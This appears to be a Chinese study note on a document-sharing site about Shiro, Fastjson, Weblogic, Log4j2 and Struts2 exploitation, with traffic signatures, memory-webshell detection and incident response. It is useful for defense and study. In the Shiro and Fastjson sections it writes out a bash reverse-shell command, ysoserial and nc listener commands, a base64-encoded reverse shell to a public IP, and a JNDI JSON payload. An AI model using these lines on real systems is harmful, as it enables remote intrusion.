




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
ApacheShiro漏洞(框架漏洞)基本介绍:ApacheShiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理,可用于保护任何应用程序的安全。Shiro提供了应用程序安全性API来执行以下方面:1、Authentication(认证):用户身份识别,通常被称为用户“登录”2、Authorization(授权):访问控制。比如某个用户是否具有某个操作的使用权限。3、SessionManagement(会话管理):特定于用户的会话管理,甚至在非web或EJB应用程序。4、Cryptography(加密):在对数据源使用加密算法加密的同时,保证易于使用。上述四个方面也被称为应用程序安全性的四个基石漏洞原理(Shiro-550):1、Shiro框架提供了记住密码的功能(RememberMe)2、用户登录成功后的信息,会经过加密编码后存储在rememberMe的cookie值中3、因为rememberMe的cookie值加密方法为AES对称加密算法。这导致只要知道了用的是什么密钥,就可以通过构造cookie值将恶意的序列化语句传给服务器,造成反序列化漏洞的利用。4、由于Shiro-550漏洞的密钥就在软件的源代码里,并且Shiro计算出cookie的流程为:信息–>序列化–>AES加密–>Base64编码–>cookie5、因此我们只要将信息改为我们想要服务器反序列化时执行的命令,那么就可以达到远程命令执行的目的了。漏洞利用:1、通过脚本或网站(Runtime.execPayloadGenerater|AresX'sBlog())对命令进行Base64编码(用于避免特殊字符报错和绕过检测)基本的反弹shell命令:bash-i>&/dev/tcp/公网IP地址/端口0>&12、利用ysoserial中的JRMP监听模块,监听目标服务器即将连接的端口,并在目标服务器连接时,将反弹shell命令递给目标服务器。可用的ysoserial语句:java-cpysoserial.jarysoserial.exploit.JRMPListener监听端口CommonsCollections4"Base64命令"3、利用脚本生成cookie。shiro利用链不多,脚本都封装好了,用脚本很方便。(本人也还不会编写脚本,www…)4、在公网服务器上别忘记打开nc监听获取shellnc监听语句:nc-lvvp监听端口5、利用Burpsuite抓包改好cookie中RememberMe参数后就可以发出然后坐等结果了。Shiro-721与Shiro-550的不同:1、Shiro-721采取系统随机生成的密钥进行加密,Shiro-550则是使用已知的固定密钥。2、Shiro-721的利用需要攻击者首先先获取正确的RememberMeCookie作为前缀(即需要先获取一个合法账号登录),然后才可以通过构造RememberMeCookie的值来实现反序列化漏洞攻击。Shiro-550则可以直接构造cookie。流量特征(Shiro-550):由于shiro的可利用链较少并且构造相对困难,因此一般攻击者都采取的工具进行利用测试。所以我重点讲解使用工具进行探测时的流量特征1、工具通常会在数据请求包中携带rememberMe=yes来探测shiro框架是否存在存在则会在响应数据包中返回rememberMe=deleteMe2、爆破密钥:短时大量请求(虽然一共也就没几个固定密钥),大部分都是rememberMe=deleteMe当爆破成功时,则无rememberMe参数返回。3、爆破利用链:rememberMe参数加密语句长度异常(因为构建利用链需要很长的语句)当爆破成功时,则无rememberMe参数返回。4、命令执行:大量的“$”符(工具用于定位返回值的)5、上传内存马的流量特征:5.1、POST请求(由于需要恶意文件)5.2、请求包中包含密码特征及其路径5.3、响应包中存在“Success”,“Filteralreadyexists”等特征FastJson漏洞基本介绍:Fastjson是阿里巴巴公司开源的一款JSON解析器,它可以解析JSON格式的字符串,是一个Java库。支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。支持将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。Fastjson的作用是用于对JSON格式的数据进行解析和打包(所以出现Json格式的地方,就有可能使用了Fastjson)JSON(JavaScriptObjectNotation,JS对象简谱)是一种轻量级的数据交换格式,如:{"name":"smith","age":28,"sex":"男","school":{"sname":"南京大学","address":"南京市鼓楼区汉口路22号"}}{"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}漏洞原理:1、fastjson在解析json的过程中,支持使用autoType(自动识别类型)这个功能来读取@type的内容,并根据@type的内容来实例化某一个具体的类。2、这个过程中允许JSON数据直接控制Java的类加载器行为,从而创建任何类型的对象。3、根据这个反序列化的过程,我们就可以通过构造恶意利用链的方式达到任意命令执行的目的。漏洞利用:1、漏洞探测:可以利用DNSLogPlatform生成域名,并构造一个尝试进行域名解析的json语句,发送过去看有没有被执行。尝试进行域名解析的json语句:{"name":{"@type":".InetAddress","val":"任意主机名.域名"}}2、进行JNDI注入:利用JNDI的LDAP或RMI服务,让目标服务器自动从我们的公网服务器上拉取恶意的javaclass类文件,达到命令执行的目的。2.1、对反弹shell进行base64编码2.2、通过JNDI注入工具开启LDAP或RMI服务,并根据利用链制造出恶意的json语句。查看jndi_tool.jar可选的模块语句:java-jarjndi_tool.jar命令格式:java-cpjndi_tool.jarjndi.HLDAPServer公网服务器IP端口"base64编码后的命令"命令示例:java-cpjndi_tool.jarjndi.HLDAPServer009999"bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIxOS4xNjEuODgvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}"构造出的JSON示例:{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://00:9999/Object","autoCommit":true}}2.3、在公网服务器上打开nc监听对应端口用于接收反弹shell。2.4、将制造出的json语句用BP修改content-type参数为:application/json并在数据体中添加json语句,传到对面服务器。(可以尝试对json语句进行Unicode编码,可能可以绕过一些防火墙的监测)然后就坐等连接了。流量特征:还是常用工具进行的探测1、存在@type参数:利用链特征,数据包中肯定包含2、存在LDAP或RMI协议语句:用于拉取恶意
javaclass的3、根据tcp流继续查找,发现敏感语句,如:反弹shell如果后续TCP流数据包中开始传输攻击者的命令并正常执行返回结果了,则说明该漏洞已被利用成功如何判断系统是否使用了fastjson:正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。无回显的利用方式:1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了3.直接将命令执行结果回显到请求Poc的HTTP响应中Weblogic漏洞(中间件漏洞)基本介绍:WebLogic是一款广泛使用的企业级应用服务器,主要用于构建和部署多层分布式企业应用。WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件。WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和JavaEnterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。通俗的讲weblogic是一种web容器,如果你知道apache,tomcat,iis你就应该知道,就是把我们开发的java应用程序运行起来,并提供服务的一种程序。漏洞原理:没什么特别的原理就是一些爆出来的漏洞,比如:远程代码执行(RCE)漏洞:CVE-2020-14882、CVE-2017-10271反序列化漏洞:CVE-2019-2725、CVE-2015-4852(CVE-2015-4852涉及到反序列化问题,攻击者利用T3协议发送恶意的Java对象到服务器,导致执行任意代码。)目录遍历漏洞:CVE-2018-2628漏洞利用:本人主要还是使用的工具,暂时没什么好讲的。使用Weblogic中间件有个特征就是404页面。流量特征:1、突然大量的T3协议:T3协议是WebLogic的核心通信协议,支持RMI(远程方法调用),也是漏洞利用最多的协议2、敏感字符:追踪tcp流,根据有没有敏感字符来判断是不是在进行攻击。如:pass,whoami,xs3、存在网站的文件和目录名:攻击者上传webshell时,会探测网站目录攻击成功与否也是看tcp流里,服务器有没有相应攻击者的命令ApacheLog4j2漏洞(JNDI注入漏洞)基本介绍:Apachelog4j是Apache的一个开源项目,是一个Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。漏洞原理:1、由于log4j2存在一个lookup函数,会自动将日志中“${}”里大括号内的内容进行解析替换,因此就存在漏洞利用的可能。触发漏洞的关键代码:org.apache.logging.log4j.core.pattern.MessagePatternConverter的format()方法(表达式内容替换)apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过lookup进行内容替换)2、由于log4j2支持ldap和rmi协议,因此就可以使用JNDI注入,配合ldap服务使得对面服务器拉取恶意javaclass类,达到远程命令执行的目的。漏洞利用:1、向目标发送恶意payload,目标对payload进行解析执行,然后会通过ldap链接远程服务2、当ldap服务收到请求之后,将请求进行重定向到恶意javaclass的地址3、目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。流量特征:1、存在JNDI,LDAP,RMI等敏感字符:由于是JNDI注入,所以流量中必然会有对应的请求2、tcp流中存在恶意命令:想要更好利用漏洞,一般都会尝试进行反弹shell语句的发送后续如果服务器流量开始指向反弹shell的指定端口,就说明服务器已经被成功入侵了判断是否攻击成功监视受感染应用程序的日志,查看是否有异常或错误信息,或者是否包含与攻击相关的信息。监视网络流量,查看是否有大量的请求被发送到攻击者的服务器。检查系统中的异常或警告信息,例如系统崩溃、不正常的CPU使用率或内存使用率等。在受感染的系统中进行代码审查,查看是否有与攻击相关的代码或配置文件。Struts2漏洞(框架漏洞)基本介绍:ApacheStruts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级JavaWeb应用的开源MVC框架。它主要提供两个版本框架产品:Struts1和Struts2;Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在struts1和WebWork的技术基础上进行了合并的全新的Struts2框架漏洞原理(S2-045):1、通过在上传文件时,构造请求头中的Content-Type值来触发该漏洞达到远程命令执行的目的S2-057和S2-045区别:S2-057时GET请求,S2-045是POST请求漏洞利用:1、在文件上传过程中进行抓包,并根据固定的利用语句,将想执行的命令替换(#cmd='命令')中的命令2、然后发给目标服务器,对面服务器就会执行,并在响应包中返回结果。流量特征:因为主要是使用的工具进行探测,所以主要讲使用工具的特征1、Content-Type参数长度异常,且包含多个特殊字符,如:百分号——%,@符2、存在前缀特征:(#nike=‘multipart/form-data’)3、数据流中默认的是相同的SessionID,可以作为一个弱特征,因为攻击者也可以改作者:零--0/read/cv34504860/出处:bilibili内存马基本介绍:内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。内存马原理:其原理是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。内存马的分类:传统Web应用型内存马:使用基本Servlet-API实现的动态注册内存马,此种类型的内存马最经典,已经被扩展至适应各个中间件。框架型内存马:除了传统的Servlet项目,使用Spring全家桶进行开发的项目越来越多,而Spring-MVC则是自实现了相关路由注册查找逻辑,以及使用拦截器来进行过滤,思想上与Servlet-Filter的设计类似。中间件型内存马:在中间件的很多功能实现上,因为采用了类似Filter-FilterChain的职责链模式,可以被用来做内存马,由于行业对Tomcat的研究较多,因此大多数的技术实现和探究是针对Tomcat的,但其他中间件也有相当多的探究空间。其他内存马:还有一些其他非常规的利用思路,可以用在内存马的实现上,例如WebSocket协议等。Agent型内存马:利用JavaAgent技术进行植入内存马逻辑的实现方式。内存马排查:1、先查看检查服务器web日志,查看是否有可疑的web访问日志,比如说filter或者listener类型的内存马,会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的请求。2、如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。3、查看是否有类似哥斯拉、冰蝎特征的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。4、通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。应急响应应急响应的基本流程:1、收集信息:收集客户信息和中毒主机信息,包括样本2、判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等3、抑制范围:隔离使受害⾯不继续扩⼤(做好隔离)4、深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源5、清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 草房子读后感成长中的困惑与希望
- 节约用水产品推广合作协议
- 数据驱动的智能营销策略推广合同
- 红色经典故事红岩读后感
- 社交电商大数据驱动平台
- 专利使用费支付协议
- 桃花源记情景剧教案
- 农业生产资源节约与环境保护行动计划
- 产品设计思路表格
- 高考语文的文言文翻译误区分析
- 经营性公墓建设标准
- 10KV系统短路电流整定计算表格
- 初中英语 沪教牛津版 8B U1-4 More Practice Success for Spring Buds 课件
- 压水堆核电厂在役检查课件
- 前房角镜检查法及其在眼科的应用教学课件
- 2017年度项目生产部工作计划推进表甘特图
- 地下室车库综合管线施工布置
- 采购订单模板
- 巴马格纺丝控制系统软件说明书(共46页)
- 完整解读2021年《建设工程抗震管理条例》PPT教学讲座课件
- 肺结核患者管理ppt课件
评论
0/150
提交评论